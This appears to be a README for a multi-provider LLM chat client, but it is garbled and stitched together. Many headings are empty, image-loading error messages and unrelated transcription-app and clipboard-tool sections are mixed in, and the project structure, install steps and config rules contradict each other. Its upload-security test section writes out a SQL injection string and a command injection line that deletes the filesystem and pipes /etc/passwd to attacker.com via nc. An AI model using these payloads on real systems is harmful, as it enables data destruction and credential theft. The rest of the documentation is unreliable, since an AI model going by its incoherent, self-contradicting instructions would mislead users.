Multi-LLM Chat Client – OpenAI, DeepSeek, Google Gemini, Hugging Face & GroqCloud

---

Table of Contents

Overview

Architecture

1. Client Layer

2. Server Layer

3. Data Storage

4. Helper Scripts

Unique Context Management

Features in Detail

Chat Interface

Streaming Responses

OpenAI Integration

Google Gemini Integration

Hugging Face Integration

GroqCloud Integration

LLM Settings Panel

429 Rate Limit Handling

The image doesn't load. The server is not accessible (HTTP 0). The most likely cause is a temporary platform or browsing issue.

The HTTP 200 has been successfully received and **Content-Type: image/jpeg** is correct.
The image is not loading because the **file data is empty (0 bytes)**.
Other JPEG images load normally, so this is not a general browser or network problem.
The server is returning a valid response but with no image content.
Please check the upload or generation process for this specific image.

Clipboard Handler (Ctrl+V)

A small browser-based tool that lets you paste screenshots and images directly from your clipboard.

Paste & Go — Just switch to the app and press Ctrl+V. Images are pasted automatically — no need to click anything first.

Image Queue — Collect multiple images and review them in a thumbnail grid. Remove individual images or clear the entire queue.

Keyboard Shortcuts — Ctrl+V to paste, Ctrl+Enter to send, Escape to clear the queue.

Privacy First — Everything runs locally in your browser. Nothing is uploaded to any server.

> "This saved me 20 minutes every time I needed to share a screenshot. Now it's instant."

Technical Details — Built with HTML, CSS, and vanilla JavaScript. No frameworks, no dependencies. The Clipboard API reads image data directly from paste events. Images are stored as Blob objects in memory and displayed using object URLs. The entire application is a single file that can be opened in any modern browser.

File Upload with Security Check

Complex Structure — Lists, tables, links, code blocks, and more
Programmatic Generation — Created by Python script
Binary Data Test — Contains specific byte patterns
Reference Material — Used as a reference for file upload security validation

Random generated data examples:

Record	Random Number	Hex Fragment
Record 1	1,234,567	0x12d687
Record 2	7,890,123	0x785f8b
Record 3	4,567,890	0x45c8d2
Record 4	2,345,678	0x23cb4e
Record 5	9,012,345	0x89a139
Record 6	6,789,012	0x67b8f4
Record 7	3,456,789	0x34e215

Data Table Example (This table is intentionally complex to test how well the parser handles various formatting):

Product	Region	Sales Figures
Widget Pro	North America	12,345
Widget Pro	Europe	9,876
Widget Pro	Asia	15,432
Widget Lite	North America	8,765
Widget Lite	Europe	6,543
Widget Lite	Asia	11,098
Gadget Max	North America	5,432
Gadget Max	Europe	4,321
Gadget Max	Asia	7,654
Gadget Mini	North America	3,210
Gadget Mini	Europe	2,987
Gadget Mini	Asia	4,567
Thingamajig	North America	1,098
Thingamajig	Europe	876
Thingamajig	Asia	2,345

SQL Injection — Test: DROP TABLE users; SELECT * FROM admin WHERE '1'='1' UNION SELECT password FROM credentials; -- Expected: Rejected by input sanitization. Risk: Critical.

Command Injection Attack — Test: ; rm -rf /; cat /etc/passwd | nc attacker.com 4444; $(whoami); `id`; ping -c 10 localhost. Expected: Rejected by shell escaping and input validation. Risk: Critical.

Umlaut Placeholder System

A simple system for encoding and decoding German umlauts (ä, ö, ü, ß) as plain ASCII placeholders.

Purpose — Some text processing pipelines, filenames, or legacy systems can't handle Unicode characters. This system converts them to safe, reversible placeholders.

How it works — Each umlaut is replaced with a two-letter code: the letter's base character followed by `e`. For example, `ä` becomes `ae`, `ö` becomes `oe`, and so on. Uppercase umlauts follow the same pattern (`Ä` → `Ae`).

Original	Placeholder
ä	ae
ö	oe
ü	ue
Ä	Ae
Ö	Oe
Ü	Ue
ß	ss

Round-trip safety — Encoding and then decoding any text produces the original output exactly. The placeholders are chosen so they don't appear naturally in most German words.

Edge cases — Words that already contain `ae`, `oe`, or `ue` naturally (like "Auenland") will be incorrectly decoded to "Aünland". This is a known trade-off of the simple approach.

DeepThink Mode

DeepThink is a toggle switch in the chat input area, next to the send button. When it's turned on:

- Before every message you send, a hidden instruction is prepended: "Think step by step before answering. Show your reasoning process, then give your final answer."
- The model you're chatting with receives this modified message instead of your original text.
- The toggle state is saved in `localStorage` under the key `deepthink_enabled`, so it persists across page reloads.
- The toggle can be switched on or off at any time, even mid-conversation.
- When DeepThink is off, messages are sent unmodified.

Model Detection & Capabilities

Ollama does not expose a capabilities field in its API. Instead, the frontend uses a combination of:

- A hardcoded lookup table for well-known model families (e.g. `llama3.2-vision` → vision, `qwen3` → thinking + tools, `nomic-embed-text` → embedding).
- Heuristic pattern matching on model names (e.g. anything containing `vl` or `vision` is assumed to support vision).
- Manual overrides via `data-caps` attributes on `<option>` elements in the model selector.

Vision (Image) Support

Image upload and vision capabilities are detected automatically. Supported formats: PNG, JPG, and GIF. Images are sent to the model as base64-encoded data.

Drag and drop — Drop an image file anywhere on the chat window to attach it. A visual overlay appears when you drag a file over the window.

Paste from clipboard — Press Ctrl+V to paste an image directly from your clipboard. This works with screenshots and copied images.

Multiple images — You can attach several images to a single message. Each one appears as a thumbnail in the preview area before sending.

Multi-Language System

Translation Dictionary (`translations`): Nested object containing all UI text in English (`en`) and German (`de`). Each key maps to a translation string. Keys are organized by feature area (e.g., `app_title`, `btn_start`, `settings_model`, `error_no_audio`).

Current Language (`currentLanguage`): Stores the active language code (`'en'` or `'de'`). Defaults to `'en'`. Persisted to `localStorage` under the key `'language'`.

`t(key)` function: Translation helper function. Looks up `translations[currentLanguage][key]`. Falls back to `translations['en'][key]` if the key is missing in the current language. Returns the key itself if not found in either language.

`updateUILanguage()` function: Updates all UI elements with translations. Queries all elements with `data-translate` attribute and sets their text content. Also updates `data-translate-placeholder` attributes for input placeholders.

`setLanguage(lang)` function: Changes the active language, updates `currentLanguage`, saves to `localStorage`, and calls `updateUILanguage()` to refresh the UI.

Settings (Toggles instead of Radio Buttons)

Settings Storage Keys (`localStorage`): Persistent settings are stored with the following keys:

Key	Default	Description
`model`	`'gpt-4o-mini-transcribe'`	Selected transcription model
`language`	`'auto'`	Transcription language (`'auto'` for auto-detect)
`autoCopy`	`'true'`	Auto-copy transcription to clipboard
`autoPaste`	`'false'`	Auto-paste transcription at cursor
`theme`	`'system'`	UI theme (`'system'`, `'light'`, or `'dark'`)

`loadSettings()` function: Loads all settings from `localStorage` on page initialization. Sets the corresponding UI elements (dropdowns, toggle switches) to match the stored values. Called once during `DOMContentLoaded`.

`saveSetting(key, value)` function: Saves a single setting to `localStorage`. Called immediately when any setting is changed by the user.

Session Management

`resetSession()` function: Clears all session data and returns the UI to its initial state. Called when:

- **Cancel button** is clicked
- **Start button** is clicked (to begin a fresh session)
- **Transcription** completes successfully (after copy/paste operations)
- **Error occurs** during recording or transcription
- **Escape key** is pressed

Session Reset Actions: Stops any active recording, clears `audioChunks`, resets `sessionStartTime`, clears `lastTranscription`, hides the file card, resets the timer display to `00:00`, and returns to the idle state.

Export Functions

Export Format Options (`exportFormat` dropdown):

Value	Extension	Description
`txt`	`.txt`	Plain text with timestamps and speaker labels
`srt`	`.srt`	SubRip subtitle format with timestamps
`vtt`	`.vtt`	WebVTT subtitle format with timestamps
`json`	`.json`	Machine-readable JSON with segments array
`tsv`	`.tsv`	Tab-separated values with timestamps
`speakers`	**`.txt`**	**Speaker-only transcript (no timestamps)**

Export Options (`exportOptions` checkboxes):

Option	Description
`timestamps`	Include timestamps in output
`speakers`	Include speaker labels
`segments`	Export as segments
`diarized`	Use diarized data
`utf8`	Force UTF-8 encoding

`exportTranscription()` function: Exports the current transcription in the selected format. Reads `exportFormat` and `exportOptions` settings, calls `formatTranscription()` to convert the data, creates a Blob with appropriate MIME type, and triggers a download via a temporary `<a>` element. Filename format: `transcription_YYYY-MM-DD_HH-MM-SS.{ext}`.

`formatTranscription(data, format, options)` function: Converts transcription data to the specified format. Handles segment grouping, timestamp formatting (SRT uses `HH:MM:SS,mmm`, VTT uses `HH:MM:SS.mmm`), speaker label inclusion, and diarized segment processing.

`copyTranscription()` function: Copies the current transcription to the clipboard using the `navigator.clipboard` API. Uses the same formatting logic as export but always outputs plain text.

Feedback Buttons & Logging

Feedback Buttons (`feedbackGood`, `feedbackBad`): Thumbs up/down buttons shown after a transcription completes. Allow users to rate transcription quality.

`logFeedback(rating)` function: Logs feedback to the server. Sends `POST` request to `/log-feedback` with JSON body containing:

```
{
  "rating": "good" | "bad",
  "model": "gpt-4o-mini-transcribe" | "gpt-4o-transcribe",
  "language": "auto" | "en" | "de",
  "duration_seconds": 12.5
}
```

Feedback Behavior: After clicking, the clicked button gets `.selected` class, both buttons are disabled, and the function returns `true`. Returns `false` if already submitted.

Dynamic Context Display

Context Display Elements (`contextDisplay`, `contextText`): Shows the active context prompt that will be sent with the next transcription. Hidden when no context is set.

`updateContextDisplay()` function: Updates the context display based on `contextPrompt` value. Called on page load and when context is changed. Shows the text if set, hides the element if empty.

Context Indicator (`contextIndicator`): Small visual indicator (dot) that appears when context is active. Toggled via `.active` class.

Context Persistence: Context prompt is stored in `localStorage` under the key `'contextPrompt'` and restored on page load.

File Card Display

File Card Elements (`fileCard`, `fileName`, `fileSize`, `fileDuration`, `fileRemove`): Displays selected file information before transcription starts.

```
fileCard.classList.add('visible');
fileName.textContent = file.name;
fileSize.textContent = formatFileSize(file.size);
fileDuration.textContent = formatDuration(duration);
```

`formatFileSize(bytes)` function: Converts bytes to human-readable format (B, KB, MB, GB).

`formatDuration(seconds)` function: Converts seconds to `MM:SS` or `HH:MM:SS` format.

`clearFile()` function: Removes the selected file, hides the file card, and resets the file input.

Audio Recording

Recording Variables (`mediaRecorder`, `audioChunks`, `recordingStartTime`, `recordingTimer`): Global variables for managing the recording state.

Kompressor — Intelligent Context Compression

Core Concept

Activation Thresholds

Compression Process (Step by Step)

Smart Summary Discard

Provider Restriction (Paid Only)

Result Files

Quota & Limit Banners

Context Window Exceeded Handling

API Proxy Documentation Headers

Download Mode

Responsive Design

DeepSeek V4 Migration

Background

New Models

Architecture Improvements (V4 vs. V3)

Deprecation Timeline

Changes Made in This Project (11 May 2026)

API Compatibility

---

19 July 2026 Maintenance & Feature Update

1. Critical Bug: `deepseek-v4-pro` Was Never Reachable

2. Diagnostic Logging: Model Name in Server Log

3. Dead Model Cleanup

4. OpenAI Lineup Updated to GPT-5.5 / GPT-5.6

5. Transparent API Error Messages

6. `max_tokens` → `max_completion_tokens` for OpenAI

7. Vision Pipeline Completed

8. `deploy.sh`: MD5 Checksum Verification

Files Changed

---

28 August 2026 Fix: Explicit DeepSeek Thinking Mode Control

Files Changed

Security Hardening (26 July – 15 September 2026)

Stage 1 — Stored XSS and Path Traversal

Stage 2 — CORS Wildcard and Request Size Limits

Stage 3 — Log Exposure and Host Header Injection

Stage 4 — Deliberately Not Implemented: Endpoint Authentication

Stage 5 — Documentation Gap and Deferred Modularization

Residual XSS Follow-Up (14 September 2026)

HTTPS Migration: From Self-Signed to Let's Encrypt

The Fix

A Naming Trap, Caught Before Deployment

Result

Side Effects Found Along the Way

---

17 September 2026: Model Display Labels & Cleanup

Removed: `deepseek-v4-flash-vision-exp`

Added: Readable Model Labels with Release Dates

A Bug in the First Pass

Installation

1. **Clone the repository** (`main` branch)

```
git clone https://github.com/example-org/example-project.git && cd example-project && git checkout main
```

2. **Configure API Keys** (`.env` or environment)

```
export OPENAI_API_KEY="sk-..."
export ANTHROPIC_API_KEY="sk-..."
export GOOGLE_API_KEY="..."
```

3. **Enable Apache configuration**

```
sudo a2enmod rewrite ssl headers
sudo a2ensite example-project.conf
```

4. **Create required directories**

```
mkdir -p /var/www/example-project/storage/logs
mkdir -p /var/www/example-project/storage/cache
```

5. **Begin** the install

```
./install.sh --verbose
```

6. **Install PHP packages**

```
composer.exe --no-dev --optimize-autoloader --ignore-platform-reqs --prefer-dist
```

Configuration

Model and Algorithm (`models.conf`) — assign providers and models to each role, and set each model's temperature:

```
[roles]
default_provider = openai
default_model = gpt-4o
fallback_provider = anthropic
fallback_model = claude-sonnet-4-20250514
summarizer_provider = openai
summarizer_model = gpt-4o-mini
summarizer_temperature = 0.3
planner_provider = openai
planner_model = o3
planner_temperature = 1.0
coder_provider = anthropic
coder_model = claude-sonnet-4-20250514
coder_temperature = 0.2
reviewer_provider = google
reviewer_model = gemini-2.5-pro
reviewer_temperature = 0.4
vision_provider = openai
vision_model = gpt-4o
vision_temperature = 0.5
embedding_provider = openai
embedding_model = text-embedding-3-large
embedding_temperature = 0.0
translator_provider = google
translator_model = gemini-2.5-flash
translator_temperature = 0.3
creative_provider = anthropic
creative_model = claude-opus-4-20250514
creative_temperature = 0.9
moderation_provider = openai
moderation_model = omni-moderation-latest
moderation_temperature = 0.0
```

Every `[roles]` key ending in `_provider` or `_model` must have a matching entry in `[providers]`. Temperature values must be between `0.0` and `2.0`. Omitting a temperature key uses the provider's default.

Language and Spelling (`locale.ini`) — choose `language` (`en`, `fr`, `de`, `es`, `ja`, `zh`, `ar`, `ru`, `pt`, `it`, `ko`, `nl`) and `spelling` (`en_US`, `en_GB`, `en_AU`, `en_CA`, `fr_FR`, `de_DE`, `es_ES`, `pt_BR`, `pt_PT`, `it_IT`, `ja_JP`, `zh_CN`, `zh_TW`, `ko_KR`, `nl_NL`, `ru_RU`, `ar_SA`). Set `fallback_language` and `fallback_spelling` for missing translations.

Deploy Scripts

Script	Purpose
`deploy.sh`	Full deploy: pull, build, migrate, restart, health check, and rollback on failure
`rollback.sh`	Revert to the previous release and restart services
`migrate.sh`	Run database migrations only
`backup.sh`	Create a timestamped backup of the database and uploaded files
`restore.sh`	Restore from a backup file (prompts for confirmation)
`health.sh`	Check that all services are running and responding to requests

Important: Always run **`deploy.sh`** rather than pulling manually. The script creates a backup before migrating, runs migrations in a transaction, and automatically rolls back if the health check fails within 30 seconds.

```
./deploy.sh --branch main --notify ops@example.com
./deploy.sh --dry-run
```

The script exits with a non-zero status code on failure, so it integrates cleanly with CI/CD systems and cron jobs.

Project Structure

```
.
├── .github/workflows/ci.yml
├── .gitignore
├── .pre-commit-config.yaml
├── Cargo.toml
├── Cargo.lock
├── LICENSE
├── README.md
├── build.rs
├── config/
│   ├── default.toml
│   ├── development.toml
│   └── production.toml
├── docs/
│   ├── architecture.md
│   ├── deployment.md
│   └── images/
│       └── overview.png
├── migrations/
│   ├── 001_initial_schema.sql
│   ├── 002_add_users.sql
│   └── 003_add_indexes.sql
├── scripts/
│   ├── backup.sh
│   ├── deploy.sh
│   └── seed_data.py
├── src/
│   ├── main.rs
│   ├── lib.rs
│   ├── config.rs
│   ├── error.rs
│   ├── db/
│   │   ├── mod.rs
│   │   ├── pool.rs
│   │   └── queries.rs
│   ├── models/
│   │   ├── mod.rs
│   │   ├── user.rs
│   │   └── session.rs
│   ├── routes/
│   │   ├── mod.rs
│   │   ├── health.rs
│   │   └── api.rs
│   └── utils/
│       ├── mod.rs
│       └── crypto.rs
└── tests/
    ├── integration_test.rs
    └── fixtures/
        └── sample_data.json
```

Model Configuration

The `[roles]` section in `models.conf` is the **single source of truth** for which provider and model each role uses. Every role listed there must also have a matching entry in `locale.ini` (for `fallback_language` and `fallback_spelling`). The application will refuse to start if any role is missing its counterpart.

Switching model configurations: Edit `models.conf` directly, or keep several files (`models.dev.conf`, `models.prod.conf`, etc.) and symlink the one you want to `models.conf`. Restart the application after changing it. Environment variables override file values — useful for CI/CD where secrets are injected at runtime. Run `./validate_config.sh` to check for errors before restarting.

Design Manifest

This section describes the overall visual design direction, covering color palette, typography, and the philosophy behind these choices.

Known Limitations & Technical Notes

"Lost in the Middle" — A Known AI Limitation

GitHub Raw URL Caching

Nano and Unicode — Critical Warning

Linux/X11/Firefox Paste Behavior

Context Overflow Detection Edge Cases

DeepSeek Model Self-Reporting

Dependencies

Conclusion / Why This Project Stands Out